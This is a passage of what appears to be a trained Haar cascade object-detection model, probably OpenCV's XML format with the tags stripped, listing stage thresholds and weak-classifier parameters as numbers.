-1.9125960767269135e-02 + + + -6.6422867774963379e-01 4.9822770059108734e-02 + + + <_> + + 0 -1 195 -5.0773010589182377e-03 + + + 1.7379400134086609e-01 -1.6850599646568298e-01 + + + <_> + + 0 -1 196 -2.9198289848864079e-03 + + + -6.0110282897949219e-01 5.7427939027547836e-02 + + + <_> + + 0 -1 197 -2.4902150034904480e-02 + + + 2.3397980630397797e-01 -1.1818459630012512e-01 + + + <_> + + 0 -1 198 2.0147779956459999e-02 + + + -8.9459821581840515e-02 3.6024400591850281e-01 + + + <_> + + 0 -1 199 1.7597640398889780e-03 + + + 4.9458440393209457e-02 -6.3102620840072632e-01 + + + <_> + + 0 -1 200 1.3812039978802204e-03 + + + -1.5218059718608856e-01 1.8971739709377289e-01 + + + <_> + + 0 -1 201 -1.0904540307819843e-02 + + + -5.8097380399703979e-01 4.4862728565931320e-02 + + + <_> + + 0 -1 202 7.5157178798690438e-05 + + + -1.3777349889278412e-01 1.9543160498142242e-01 + + + <_> + + 0 -1 203 3.8649770431220531e-03 + + + -1.0302229970693588e-01 2.5374969840049744e-01 + + + + + <_> + 48 + -1.1189440488815308e+00 + + <_> + + 0 -1 204 -1.0215889662504196e-01 + + + 4.1681259870529175e-01 -1.6655629873275757e-01 + + + <_> + + 0 -1 205 -5.1939819008111954e-02 + + + 3.3023950457572937e-01 -2.0715710520744324e-01 + + + <_> + + 0 -1 206 -4.2717780917882919e-02 + + + 2.6093730330467224e-01 -1.6013890504837036e-01 + + + <_> + + 0 -1 207 4.3890418601222336e-04 + + + -3.4750530123710632e-01 1.3918919861316681e-01 + + + <_> + + 0 -1 208 2.4264389649033546e-02 + + + -4.2552059888839722e-01 1.3578380644321442e-01 + + + <_> + + 0 -1 209 -2.3820599541068077e-02 + + + 3.1749808788299561e-01 -1.6652040183544159e-01 + + + <_> + + 0 -1 210 -7.0518180727958679e-03 + + + 3.0947178602218628e-01 -1.3338300585746765e-01 + + + <_> + + 0 -1 211 -6.8517157342284918e-04 + + + -6.0082262754440308e-01 8.7747000157833099e-02 + + + <_> + + 0 -1 212 5.3705149330198765e-03 + + + -1.2311449646949768e-01 3.8333550095558167e-01 + + + <_> + + 0 -1 213 -1.3403539545834064e-02 + + + 3.3877369761466980e-01 -1.0140489786863327e-01 + + + <_> + + 0 -1 214 -6.6856360062956810e-03 + + + -6.1193597316741943e-01 4.7740221023559570e-02 + + + <_> + + 0 -1 215 -4.2887418530881405e-03 + + + 2.5275790691375732e-01 -1.4434510469436646e-01 + + + <_> + + 0 -1 216 -1.0876749642193317e-02 + + + 5.4775732755661011e-01 -5.9455480426549911e-02 + + + <_> + + 0 -1 217 3.7882640026509762e-04 + + + 8.3410300314426422e-02 -4.4226369261741638e-01 + + + <_> + + 0 -1 218 -2.4550149682909250e-03 + + + 2.3330999910831451e-01 -1.3964480161666870e-01 + + + <_> + + 0 -1 219 1.2721839593723416e-03 + + + 6.0480289161205292e-02 -4.9456089735031128e-01 + + + <_> + + 0 -1 220 -4.8933159559965134e-03 + + + -6.6833269596099854e-01 4.6218499541282654e-02 + + + <_> + + 0 -1 221 2.6449989527463913e-02 + + + -7.3235362768173218e-02 4.4425961375236511e-01 + + + <_> + + 0 -1 222 -3.3706070389598608e-03 + + + -4.2464339733123779e-01 6.8676561117172241e-02 + + + <_> + + 0 -1 223 -2.9559480026364326e-03 + + + 1.6218039393424988e-01 -1.8222999572753906e-01 + + + <_> + + 0 -1 224 3.0619909986853600e-02 + + + -5.8643341064453125e-02 5.3263628482818604e-01 + + + <_> + + 0 -1 225 -9.5765907317399979e-03 + + + -6.0562682151794434e-01 5.3345989435911179e-02 + + + <_> + + 0 -1 226 6.6372493165545166e-05 + + + -1.6680839657783508e-01 1.9284160435199738e-01 + + + <_> + + 0 -1 227 5.0975950434803963e-03 + + + 4.4119510799646378e-02 -5.7458841800689697e-01 + + + <_> + + 0 -1 228 3.7112718564458191e-04 + + + -1.1086399853229523e-01 2.3105390369892120e-01 + + + <_> + + 0 -1 229 -8.6607588455080986e-03 + + + 4.0456289052963257e-01 -6.2446091324090958e-02 + + + <_> + + 0 -1 230 8.7489158613607287e-04 + + + 6.4875148236751556e-02 -4.4871041178703308e-01 + + + <_> + + 0 -1 231 1.1120870476588607e-03 + + + -9.3861460685729980e-02 3.0453911423683167e-01 + + + <_> + + 0 -1 232 -2.3837819695472717e-02 + + + -5.8887428045272827e-01 4.6659421175718307e-02 + + + <_> + + 0 -1 233 2.2272899514064193e-04 + + + -1.4898599684238434e-01 1.7701950669288635e-01 + + + <_> + + 0 -1 234 2.4467470124363899e-02 + + + -5.5789601057767868e-02 4.9208301305770874e-01 + + + <_> + + 0 -1 235 -1.4239320158958435e-01 + + + 1.5192000567913055e-01 -1.8778899312019348e-01 + + + <_> + + 0 -1 236 -2.0123120397329330e-02 + + + 2.1780100464820862e-01 -1.2081900238990784e-01 + + + <_> + + 0 -1 237 1.1513679783092812e-04 + + + -1.6856589913368225e-01 1.6451929509639740e-01 + + + <_> + + 0 -1 238 -2.7556740678846836e-03 + + + -6.9442039728164673e-01 3.9449468255043030e-02 + + + <_> + + 0 -1 239 -7.5843912782147527e-05 + + + 1.8941369652748108e-01 -1.5183840692043304e-01 + + + <_> + + 0 -1 240 -7.0697711780667305e-03 + + + 4.7064599394798279e-01 -5.7927619665861130e-02 + + + <_> + + 0 -1 241 -3.7393178790807724e-02 + + + -7.5892448425292969e-01 3.4116048365831375e-02 + + + <_> + + 0 -1 242 -1.5995610505342484e-02 + + + 3.0670469999313354e-01 -8.7525576353073120e-02 + + + <_> + + 0 -1 243 -3.1183990649878979e-03 + + + 2.6195371150970459e-01 -9.1214887797832489e-02 + + + <_> + + 0 -1 244 1.0651360498741269e-03 + + + -1.7427560687065125e-01 1.5277640521526337e-01 + + + <_> + + 0 -1 245 -1.6029420075938106e-03 + + + 3.5612630844116211e-01 -7.6629996299743652e-02 + + + <_> + + 0 -1 246 4.3619908392429352e-03 + + + 4.9356970936059952e-02 -5.9228771924972534e-01 + + + <_> + + 0 -1 247 -1.0779909789562225e-02 + + + -6.3922178745269775e-01 3.3204540610313416e-02 + + + <_> + + 0 -1 248 -4.3590869754552841e-03 + + + 1.6107389330863953e-01 -1.5221320092678070e-01 + + + <_> + + 0 -1 249 7.4596069753170013e-03 + + + 3.3172961324453354e-02 -7.5007742643356323e-01 + + + <_> + + 0 -1 250 8.1385448575019836e-03 + + + 2.6325279846787453e-02 -7.1731162071228027e-01 + + + <_> + + 0 -1 251 -3.3338490873575211e-02 + + + 3.3536610007286072e-01 -7.0803590118885040e-02 + + + + + <_> + 55 + -1.1418989896774292e+00 + + <_> + + 0 -1 252 1.9553979858756065e-02 + + + -1.0439720004796982e-01 5.3128951787948608e-01 + + + <_> + + 0 -1 253 2.2122919559478760e-02 + + + -2.4747270345687866e-01 2.0847250521183014e-01 + + + <_> + + 0 -1 254 -4.1829389519989491e-03 + + + 3.8289439678192139e-01 -1.4711579680442810e-01 + + + <_> + + 0 -1 255 -8.6381728760898113e-04 + + + -6.2632888555526733e-01 1.1993259936571121e-01 + + + <_> + + 0 -1 256 7.9958612332120538e-04 + + + 9.2573471367359161e-02 -5.5168831348419189e-01 + + + <_> + + 0 -1 257 9.1527570039033890e-03 + + + -7.2929807007312775e-02 5.5512511730194092e-01 + + + <_> + + 0 -1 258 -3.9388681761920452e-03 + + + 2.0196039974689484e-01 -2.0912039279937744e-01 + + + <_> + + 0 -1 259 1.4613410166930407e-04 + + + -2.7861818671226501e-01 1.3817410171031952e-01 + + + <_> + + 0 -1 260 -3.1691689509898424e-03 + + + 3.6685898900032043e-01 -7.6308242976665497e-02 + + + <_> + + 0 -1 261 -2.2189389914274216e-02 + + + 3.9096599817276001e-01 -1.0971540212631226e-01 + + + <_> + + 0 -1 262 -7.4523608200252056e-03 + + + 1.2838590145111084e-01 -2.4159869551658630e-01 + + + <_> + + 0 -1 263 7.7997002517804503e-04 + + + 7.1978069841861725e-02 -4.3976500630378723e-01 + + + <_> + + 0 -1 264 -4.6783639118075371e-03 + + + 2.1569849550724030e-01 -1.4205920696258545e-01 + + + <_> + + 0 -1 265 -1.5188639983534813e-02 + + + 3.6458781361579895e-01 -8.2675926387310028e-02 + + + <_> + + 0 -1 266 5.0619798712432384e-03 + + + -3.4380409121513367e-01 9.2068232595920563e-02 + + + <_> + + 0 -1 267 -1.7351920250803232e-03 + + + -6.1725497245788574e-01 4.9214478582143784e-02 + + + <_> + + 0 -1 268 -1.2423450127243996e-02 + + + -5.8558952808380127e-01 4.6112600713968277e-02 + + + <_> + + 0 -1 269 -1.3031429611146450e-02 + + + -5.9710788726806641e-01 4.0672458708286285e-02 + + + <_> + + 0 -1 270 -1.2369629694148898e-03 + + + -6.8334168195724487e-01 3.3156178891658783e-02 + + + <_> + + 0 -1 271 6.1022108420729637e-03 + + + -9.4729237258434296e-02 3.0102241039276123e-01 + + + <_> + + 0 -1 272 6.6952849738299847e-04 + + + 8.1816866993904114e-02 -3.5196030139923096e-01 + + + <_> + + 0 -1 273 -1.7970580374822021e-03 + + + 2.3718979954719543e-01 -1.1768709868192673e-01 + + + <_> + + 0 -1 274 -7.1074528386816382e-04 + + + -4.4763788580894470e-01 5.7682480663061142e-02 + + + <_> + + 0 -1 275 -5.9126471169292927e-03 + + + 4.3425410985946655e-01 -6.6868573427200317e-02 + + + <_> + + 0 -1 276 -3.3132149837911129e-03 + + + 1.8150010704994202e-01 -1.4180320501327515e-01 + + + <_> + + 0 -1 277 -6.0814660042524338e-02 + + + 4.7221711277961731e-01 -6.1410639435052872e-02 + + + <_> + + 0 -1 278 -9.6714183688163757e-02 + + + 2.7683168649673462e-01 -9.4490036368370056e-02 + + + <_> + + 0 -1 279 3.9073550142347813e-03 + + + -1.2278530001640320e-01 2.1057400107383728e-01 + + + <_> + + 0 -1 280 -9.0431869029998779e-03 + + + 3.5641568899154663e-01 -7.7806226909160614e-02 + + + <_> + + 0 -1 281 -4.8800031654536724e-03 + + + -4.1034790873527527e-01 6.9694377481937408e-02 + + + <_> + + 0 -1 282 -4.3547428213059902e-03 + + + -7.3017889261245728e-01 3.6655150353908539e-02 + + + <_> + + 0 -1 283 -9.6500627696514130e-03 + + + 5.5181127786636353e-01 -5.3168080747127533e-02 + + + <_> + + 0 -1 284 -1.7397310584783554e-02 + + + -5.7084232568740845e-01 5.0214089453220367e-02 + + + <_> + + 0 -1 285 -6.8304329179227352e-03 + + + -4.6180281043052673e-01 5.0202690064907074e-02 + + + <_> + + 0 -1 286 3.3255619928240776e-04 + + + -9.5362730324268341e-02 2.5983759760856628e-01 + + + <_> + + 0 -1 287 -2.3100529797375202e-03 + + + 2.2872470319271088e-01 -1.0533530265092850e-01 + + + <_> + + 0 -1 288 -7.5426651164889336e-03 + + + -5.6990510225296021e-01 4.8863459378480911e-02 + + + <_> + + 0 -1 289 -5.2723060362040997e-03 + + + 3.5145181417465210e-01 -8.2390107214450836e-02 + + + <_> + + 0 -1 290 -4.8578968271613121e-03 + + + -6.0417622327804565e-01 4.4539440423250198e-02 + + + <_> + + 0 -1 291 1.5867310576140881e-03 + + + -1.0340909659862518e-01 2.3282019793987274e-01 + + + <_> + + 0 -1 292 -4.7427811659872532e-03 + + + 2.8490281105041504e-01 -9.8090499639511108e-02 + + + <_> + + 0 -1 293 -1.3515240279957652e-03 + + + 2.3096430301666260e-01 -1.1361840367317200e-01 + + + <_> + + 0 -1 294 2.2526069078594446e-03 + + + 6.4478322863578796e-02 -4.2205891013145447e-01 + + + <_> + + 0 -1 295 -3.8038659840822220e-04 + + + -3.8076201081275940e-01 6.0043290257453918e-02 + + + <_> + + 0 -1 296 4.9043921753764153e-03 + + + -7.6104998588562012e-02 3.3232170343399048e-01 + + + <_> + + 0 -1 297 -9.0969670563936234e-03 + + + 1.4287790656089783e-01 -1.6887800395488739e-01 + + + <_> + + 0 -1 298 -6.9317929446697235e-03 + + + 2.7255409955978394e-01 -9.2879563570022583e-02 + + + <_> + + 0 -1 299 1.1471060570329428e-03 + + + -1.5273059904575348e-01 1.9702400267124176e-01 + + + <_> + + 0 -1 300 -3.7662889808416367e-02 + + + -5.9320437908172607e-01 4.0738601237535477e-02 + + + <_> + + 0 -1 301 -6.8165571428835392e-03 + + + 2.5494089722633362e-01 -9.4081960618495941e-02 + + + <_> + + 0 -1 302 6.6205562325194478e-04 + + + 4.6795718371868134e-02 -4.8454371094703674e-01 + + + <_> + + 0 -1 303 -4.2202551849186420e-03 + + + 2.4682149291038513e-01 -9.4673976302146912e-02 + + + <_> + + 0 -1 304 -6.8986512720584869e-02 + + + -6.6514801979064941e-01 3.5926390439271927e-02 + + + <_> + + 0 -1 305 6.1707608401775360e-03 + + + 2.5833319872617722e-02 -7.2686272859573364e-01 + + + <_> + + 0 -1 306 1.0536249727010727e-02 + + + -8.1828996539115906e-02 2.9760798811912537e-01 + + + + + <_> + 32 + -1.1255199909210205e+00 + + <_> + + 0 -1 307 -6.2758728861808777e-02 + + + 2.7899080514907837e-01 -2.9656109213829041e-01 + + + <_> + + 0 -1 308 3.4516479354351759e-03 + + + -3.4635880589485168e-01 2.0903840661048889e-01 + + + <_> + + 0 -1 309 -7.8699486330151558e-03 + + + 2.4144889414310455e-01 -1.9205570220947266e-01 + + + <_> + + 0 -1 310 -3.4624869003891945e-03 + + + -5.9151780605316162e-01 1.2486449629068375e-01 + + + <_> + + 0 -1 311 -9.4818761572241783e-03 + + + 1.8391540646553040e-01 -2.4858260154724121e-01 + + + <_> + + 0 -1 312 2.3226840130519122e-04 + + + -3.3047258853912354e-01 1.0999260097742081e-01 + + + <_> + + 0 -1 313 1.8101120367646217e-03 + + + 9.8744012415409088e-02 -4.9634781479835510e-01 + + + <_> + + 0 -1 314 -5.4422430694103241e-03 + + + 2.9344418644905090e-01 -1.3094750046730042e-01 + + + <_> + + 0 -1 315 7.4148122221231461e-03 + + + -1.4762699604034424e-01 3.3277168869972229e-01 + + + <_> + + 0 -1 316 -1.5565140172839165e-02 + + + -6.8404901027679443e-01 9.9872693419456482e-02 + + + <_> + + 0 -1 317 2.8720520436763763e-02 + + + -1.4833280444145203e-01 3.0902579426765442e-01 + + + <_> + + 0 -1 318 9.6687392215244472e-05 + + + -1.7431040108203888e-01 2.1402959525585175e-01 + + + <_> + + 0 -1 319 5.2371058613061905e-02 + + + -7.0156857371330261e-02 4.9222990870475769e-01 + + + <_> + + 0 -1 320 -8.6485691368579865e-02 + + + 5.0757247209548950e-01 -7.5294211506843567e-02 + + + <_> + + 0 -1 321 -4.2169868946075439e-02 + + + 4.5680961012840271e-01 -9.0219900012016296e-02 + + + <_> + + 0 -1 322 4.5369830331765115e-05 + + + -2.6538279652595520e-01 1.6189539432525635e-01 + + + <_> + + 0 -1 323 5.2918000146746635e-03 + + + 7.4890151619911194e-02 -5.4054671525955200e-01 + + + <_> + + 0 -1 324 -7.5511651812121272e-04 + + + -4.9261990189552307e-01 5.8723948895931244e-02 + + + <_> + + 0 -1 325 7.5108138844370842e-05 + + + -2.1432100236415863e-01 1.4077760279178619e-01 + + + <_> + + 0 -1 326 4.9981209449470043e-03 + + + -9.0547338128089905e-02 3.5716068744659424e-01 + + + <_> + + 0 -1 327 -1.4929979806765914e-03 + + + 2.5623458623886108e-01 -1.4229069650173187e-01 + + + <_> + + 0 -1 328 2.7239411137998104e-03 + + + -1.5649250149726868e-01 2.1088710427284241e-01 + + + <_> + + 0 -1 329 2.2218320518732071e-03 + + + -1.5072989463806152e-01 2.6801869273185730e-01 + + + <_> + + 0 -1 330 -7.3993072146549821e-04 + + + 2.9546990990638733e-01 -1.0692390054464340e-01 + + + <_> + + 0 -1 331 2.0113459322601557e-03 + + + 5.0614349544048309e-02 -7.1683371067047119e-01 + + + <_> + + 0 -1 332 1.1452870443463326e-02 + + + -1.2719069421291351e-01 2.4152779579162598e-01 + + + <_> + + 0 -1 333 -1.0782170575112104e-03 + + + 2.4813009798526764e-01 -1.3461199402809143e-01 + + + <_> + + 0 -1 334 3.3417691010981798e-03 + + + 5.3578309714794159e-02 -5.2274167537689209e-01 + + + <_> + + 0 -1 335 6.9398651248775423e-05 + + + -2.1698740124702454e-01 1.2812179327011108e-01 + + + <_> + + 0 -1 336 -4.0982551872730255e-03 + + + 2.4401889741420746e-01 -1.1570589989423752e-01 + + + <_> + + 0 -1 337 -1.6289720078930259e-03 + + + 2.8261470794677734e-01 -1.0659469664096832e-01 + + + <_> + + 0 -1 338 1.3984859921038151e-02 + + + 4.2715899646282196e-02 -7.3646312952041626e-01 + + + + + <_> + 30 + -1.1729990243911743e+00 + + <_> + + 0 -1 339 1.6416519880294800e-01 + + + -4.8960301280021667e-01 1.7607709765434265e-01 + + + <_> + + 0 -1 340 8.3413062384352088e-04 + + + -2.8220430016517639e-01 2.4199579656124115e-01 + + + <_> + + 0 -1 341 -1.7193210078403354e-03 + + + -7.1485888957977295e-01 8.6162216961383820e-02 + + + <_> + + 0 -1 342 -1.5654950402677059e-03 + + + -7.2972381114959717e-01 9.4070672988891602e-02 + + + <_> + + 0 -1 343 1.9124479731544852e-03 + + + -3.1187158823013306e-01 1.8143390119075775e-01 + + + <_> + + 0 -1 344 -1.3512369990348816e-01 + + + 2.9577299952507019e-01 -2.2179250419139862e-01 + + + <_> + + 0 -1 345 -4.0300549007952213e-03 + + + -6.6595137119293213e-01 8.5431016981601715e-02 + + + <_> + + 0 -1 346 -2.8640460222959518e-03 + + + -6.2086361646652222e-01 5.3106021136045456e-02 + + + <_> + + 0 -1 347 -1.4065420255064964e-03 + + + 2.2346289455890656e-01 -2.0211009681224823e-01 + + + <_> + + 0 -1 348 -3.5820449702441692e-03 + + + -5.4030400514602661e-01 6.8213619291782379e-02 + + + <_> + + 0 -1 349 4.1544470936059952e-02 + + + -6.5215840935707092e-02 6.2109231948852539e-01 + + + <_> + + 0 -1 350 -9.1709550470113754e-03 + + + -7.5553297996520996e-01 5.2640449255704880e-02 + + + <_> + + 0 -1 351 6.1552738770842552e-03 + + + 9.0939402580261230e-02 -4.4246131181716919e-01 + + + <_> + + 0 -1 352 -1.0043520014733076e-03 + + + 2.4292330443859100e-01 -1.8669790029525757e-01 + + + <_> + + 0 -1 353 1.1519829742610455e-02 + + + -1.1763150244951248e-01 3.6723458766937256e-01 + + + <_> + + 0 -1 354 -8.9040733873844147e-03 + + + -4.8931330442428589e-01 1.0897020250558853e-01 + + + <_> + + 0 -1 355 5.3973670583218336e-04 + + + -2.1850399672985077e-01 1.8489989638328552e-01 + + + <_> + + 0 -1 356 1.3727260520681739e-03 + + + -1.5072910487651825e-01 2.9173129796981812e-01 + + + <_> + + 0 -1 357 -1.0807390324771404e-02 + + + 4.2897450923919678e-01 -1.0280139744281769e-01 + + + <_> + + 0 -1 358 1.2670770520344377e-03 + + + 7.4192158877849579e-02 -6.4208251237869263e-01 + + + <_> + + 0 -1 359 2.2991129662841558e-03 + + + 4.7100279480218887e-02 -7.2335231304168701e-01 + + + <_> + + 0 -1 360 2.7187510859221220e-03 + + + -1.7086869478225708e-01 2.3513509333133698e-01 + + + <_> + + 0 -1 361 -6.6619180142879486e-03 + + + -7.8975427150726318e-01 4.5084670186042786e-02 + + + <_> + + 0 -1 362 -4.8266649246215820e-02 + + + -6.9579917192459106e-01 4.1976079344749451e-02 + + + <_> + + 0 -1 363 1.5214690007269382e-02 + + + -1.0818280279636383e-01 3.6460620164871216e-01 + + + <_> + + 0 -1 364 -6.0080131515860558e-03 + + + 3.0970990657806396e-01 -1.1359210312366486e-01 + + + <_> + + 0 -1 365 6.6127157770097256e-03 + + + 8.0665342509746552e-02 -4.6658530831336975e-01 + + + <_> + + 0 -1 366 -7.9607013612985611e-03 + + + -8.7201941013336182e-01 3.6774590611457825e-02 + + + <_> + + 0 -1 367 3.8847199175506830e-03 + + + -1.1666289716959000e-01 3.3070269227027893e-01 + + + <_> + + 0 -1 368 -1.0988810099661350e-03 + + + 2.3872570693492889e-01 -1.7656759917736053e-01 + + + + + <_> + 44 + -1.0368299484252930e+00 + + <_> + + 0 -1 369 3.5903379321098328e-03 + + + -2.3688079416751862e-01 2.4631640315055847e-01 + + + <_> + + 0 -1 370 6.4815930090844631e-03 + + + -3.1373620033264160e-01 1.8675759434700012e-01 + + + <_> + + 0 -1 371 7.3048402555286884e-05 + + + -2.7644351124763489e-01 1.6496239602565765e-01 + + + <_> + + 0 -1 372 -3.8514640182256699e-03 + + + -5.6014508008956909e-01 1.1294739693403244e-01 + + + <_> + + 0 -1 373 3.8588210009038448e-03 + + + 3.9848998188972473e-02 -5.8071857690811157e-01 + + + <_> + + 0 -1 374 -2.4651220068335533e-02 + + + 1.6755010187625885e-01 -2.5343671441078186e-01 + + + <_> + + 0 -1 375 4.7245521098375320e-02 + + + -1.0662080347537994e-01 3.9451980590820312e-01 + + + <_> + + 0 -1 376 6.5964651294052601e-03 + + + -1.7744250595569611e-01 2.7280190587043762e-01 + + + <_> + + 0 -1 377 -1.3177490327507257e-03 + + + -5.4272651672363281e-01 4.8606589436531067e-02 + + + <_> + + 0 -1 378 -5.0261709839105606e-03 + + + 2.4394249916076660e-01 -1.3143649697303772e-01 + + + <_> + + 0 -1 379 3.4632768947631121e-03 + + + 6.9049343466758728e-02 -7.0336240530014038e-01 + + + <_> + + 0 -1 380 2.1692588925361633e-03 + + + -1.3289460539817810e-01 2.2098529338836670e-01 + + + <_> + + 0 -1 381 2.9395870864391327e-02 + + + -2.8530520200729370e-01 1.3543990254402161e-01 + + + <_> + + 0 -1 382 -9.6181448316201568e-04 + + + -5.8041381835937500e-01 3.7450648844242096e-02 + + + <_> + + 0 -1 383 -1.0820999741554260e-01 + + + 3.9467281103134155e-01 -7.8655943274497986e-02 + + + <_> + + 0 -1 384 -1.8024869263172150e-02 + + + 2.7355629205703735e-01 -1.3415299355983734e-01 + + + <_> + + 0 -1 385 6.2509840354323387e-03 + + + 2.3388059809803963e-02 -8.0088591575622559e-01 + + + <_> + + 0 -1 386 -1.6088379779830575e-03 + + + -5.6762522459030151e-01 4.1215669363737106e-02 + + + <_> + + 0 -1 387 7.7564752427861094e-04 + + + -1.4891269803047180e-01 1.9086180627346039e-01 + + + <_> + + 0 -1 388 8.7122338300105184e-05 + + + -1.5557530522346497e-01 1.9428220391273499e-01 + + + <_> + + 0 -1 389 -2.0755320787429810e-02 + + + -6.3006532192230225e-01 3.6134380847215652e-02 + + + <_> + + 0 -1 390 -6.2931738793849945e-03 + + + 2.5609248876571655e-01 -1.0588269680738449e-01 + + + <_> + + 0 -1 391 1.0844149626791477e-02 + + + -1.0124850273132324e-01 3.0322128534317017e-01 + + + <_> + + 0 -1 392 -6.3752777350600809e-05 + + + 1.9111579656600952e-01 -1.3849230110645294e-01 + + + <_> + + 0 -1 393 6.6480963141657412e-05 + + + -1.5205250680446625e-01 2.1706309914588928e-01 + + + <_> + + 0 -1 394 1.3560829684138298e-03 + + + 4.9431789666414261e-02 -6.4279842376708984e-01 + + + <_> + + 0 -1 395 -9.0662558795884252e-04 + + + 1.7982010543346405e-01 -1.4044609665870667e-01 + + + <_> + + 0 -1 396 1.0473709553480148e-03 + + + -1.0933549702167511e-01 2.4265940487384796e-01 + + + <_> + + 0 -1 397 -1.0243969736620784e-03 + + + 2.7162680029869080e-01 -1.1820919811725616e-01 + + + <_> + + 0 -1 398 -1.2024149764329195e-03 + + + -7.0151102542877197e-01 3.9489898830652237e-02 + + + <_> + + 0 -1 399 7.6911649666726589e-03 + + + -9.2218913137912750e-02 3.1046289205551147e-01 + + + <_> + + 0 -1 400 -1.3966549932956696e-01 + + + 6.8979388475418091e-01 -3.9706118404865265e-02 + + + <_> + + 0 -1 401 2.1276050247251987e-03 + + + 9.7277611494064331e-02 -2.8841799497604370e-01 + + + <_> + + 0 -1 402 -2.7594310231506824e-03 + + + 2.4168670177459717e-01 -1.1277820169925690e-01 + + + <_> + + 0 -1 403 5.2236132323741913e-03 + + + -1.1430279910564423e-01 2.4256780743598938e-01 + + + <_> + + 0 -1 404 -1.2590440455824137e-03 + + + -5.9679388999938965e-01 4.7663960605859756e-02 + + + <_> + + 0 -1 405 -3.7192099262028933e-03 + + + -4.6414130926132202e-01 5.2847690880298615e-02 + + + <_> + + 0 -1 406 5.9696151874959469e-03 + + + -7.3244288563728333e-02 3.8743090629577637e-01 + + + <_> + + 0 -1 407 -5.1776720210909843e-03 + + + -7.4193227291107178e-01 4.0496710687875748e-02 + + + <_> + + 0 -1 408 5.0035100430250168e-03 + + + -1.3888800144195557e-01 1.8767620623111725e-01 + + + <_> + + 0 -1 409 -5.2013457752764225e-04 + + + -5.4940617084503174e-01 4.9417849630117416e-02 + + + <_> + + 0 -1 410 5.3168768063187599e-03 + + + -8.2482978701591492e-02 3.1740561127662659e-01 + + + <_> + + 0 -1 411 -1.4774589799344540e-02 + + + 2.0816099643707275e-01 -1.2115559726953506e-01 + + + <_> + + 0 -1 412 -4.1416451334953308e-02 + + + -8.2437807321548462e-01 3.3329188823699951e-02 + + + + + <_> + 53 + -1.0492420196533203e+00 + + <_> + + 0 -1 413 9.0962520334869623e-04 + + + 8.4579966962337494e-02 -5.6118410825729370e-01 + + + <_> + + 0 -1 414 -5.6139789521694183e-02 + + + 1.5341749787330627e-01 -2.6967319846153259e-01 + + + <_> + + 0 -1 415 1.0292009683325887e-03 + + + -2.0489980280399323e-01 2.0153179764747620e-01 + + + <_> + + 0 -1 416 2.8783010784536600e-03 + + + -1.7351140081882477e-01 2.1297949552536011e-01 + + + <_> + + 0 -1 417 -7.4144392274320126e-03 + + + -5.9624868631362915e-01 4.7077950090169907e-02 + + + <_> + + 0 -1 418 -1.4831849839538336e-03 + + + 1.9024610519409180e-01 -1.5986390411853790e-01 + + + <_> + + 0 -1 419 4.5968941412866116e-03 + + + 3.1447131186723709e-02 -6.8694341182708740e-01 + + + <_> + + 0 -1 420 2.4255330208688974e-03 + + + -2.3609359562397003e-01 1.1036109924316406e-01 + + + <_> + + 0 -1 421 -8.4950566291809082e-02 + + + 2.3107160627841949e-01 -1.3776530325412750e-01 + + + <_> + + 0 -1 422 -5.0145681016147137e-03 + + + 3.8676109910011292e-01 -5.6217379868030548e-02 + + + <_> + + 0 -1 423 -2.1482061129063368e-03 + + + 1.8191599845886230e-01 -1.7615699768066406e-01 + + + <_> + + 0 -1 424 -1.0396770201623440e-02 + + + -7.5351381301879883e-01 2.4091970175504684e-02 + + + <_> + + 0 -1 425 -1.3466750271618366e-02 + + + -7.2118860483169556e-01 3.4949369728565216e-02 + + + <_> + + 0 -1 426 -8.4435477852821350e-02 + + + -3.3792638778686523e-01 7.1113817393779755e-02 + + + <_> + + 0 -1 427 2.4771490134298801e-03 + + + -1.1765109747648239e-01 2.2541989386081696e-01 + + + <_> + + 0 -1 428 1.5828050673007965e-02 + + + -6.9536216557025909e-02 3.1395369768142700e-01 + + + <_> + + 0 -1 429 6.4916983246803284e-02 + + + -7.5043588876724243e-02 4.0677338838577271e-01 + + + <_> + + 0 -1 430 2.9652469675056636e-04 + + + 7.3953360319137573e-02 -3.4544008970260620e-01 + + + <_> + + 0 -1 431 1.3129520229995251e-03 + + + -1.6909439861774445e-01 1.5258370339870453e-01 + + + <_> + + 0 -1 432 -5.8032129891216755e-03 + + + 3.5260149836540222e-01 -8.3444066345691681e-02 + + + <_> + + 0 -1 433 -1.4791679382324219e-01 + + + 4.3004658818244934e-01 -5.7309929281473160e-02 + + + <_> + + 0 -1 434 -1.6584150493144989e-02 + + + 2.3432689905166626e-01 -1.0907640308141708e-01 + + + <_> + + 0 -1 435 3.0183270573616028e-03 + + + -1.3600939512252808e-01 2.6409289240837097e-01 + + + <_> + + 0 -1 436 -3.6471918225288391e-02 + + + -6.2809741497039795e-01 4.3545108288526535e-02 + + + <_> + + 0 -1 437 -7.3119226726703346e-05 + + + 1.6470630466938019e-01 -1.6463780403137207e-01 + + + <_> + + 0 -1 438 -3.6719450727105141e-03 + + + -4.7421360015869141e-01 4.8586919903755188e-02 + + + <_> + + 0 -1 439 -4.0151178836822510e-03 + + + 1.8222180008888245e-01 -1.4097510278224945e-01 + + + <_> + + 0 -1 440 1.9948020577430725e-02 + + + -6.9787658751010895e-02 3.6707460880279541e-01 + + + <_> + + 0 -1 441 7.6699437340721488e-04 + + + 5.5729299783706665e-02 -4.4585430622100830e-01 + + + <_> + + 0 -1 442 -1.1806039838120341e-03 + + + -4.6876621246337891e-01 4.8902221024036407e-02 + + + <_> + + 0 -1 443 1.5847349539399147e-02 + + + -1.2120209634304047e-01 2.0566530525684357e-01 + + + <_> + + 0 -1 444 -1.1985700111836195e-03 + + + 2.0262099802494049e-01 -1.2823820114135742e-01 + + + <_> + + 0 -1 445 -1.0964959859848022e-01 + + + -8.6619192361831665e-01 3.0351849272847176e-02 + + + <_> + + 0 -1 446 -9.2532606795430183e-03 + + + 2.9343119263648987e-01 -8.5361950099468231e-02 + + + <_> + + 0 -1 447 1.4686530455946922e-02 + + + 3.2798621803522110e-02 -7.7556562423706055e-01 + + + <_> + + 0 -1 448 -1.3514430029317737e-03 + + + 2.4426999688148499e-01 -1.1503250151872635e-01 + + + <_> + + 0 -1 449 -4.3728090822696686e-03 + + + 2.1687670052051544e-01 -1.3984480500221252e-01 + + + <_> + + 0 -1 450 3.4263390116393566e-03 + + + 4.5614220201969147e-02 -5.4567712545394897e-01 + + + <_> + + 0 -1 451 -3.8404068909585476e-03 + + + 1.4949500560760498e-01 -1.5062509477138519e-01 + + + <_> + + 0 -1 452 3.7988980766385794e-03 + + + -8.7301626801490784e-02 2.5481531023979187e-01 + + + <_> + + 0 -1 453 -2.0094281062483788e-03 + + + 1.7259070277214050e-01 -1.4288470149040222e-01 + + + <_> + + 0 -1 454 -2.4370709434151649e-03 + + + 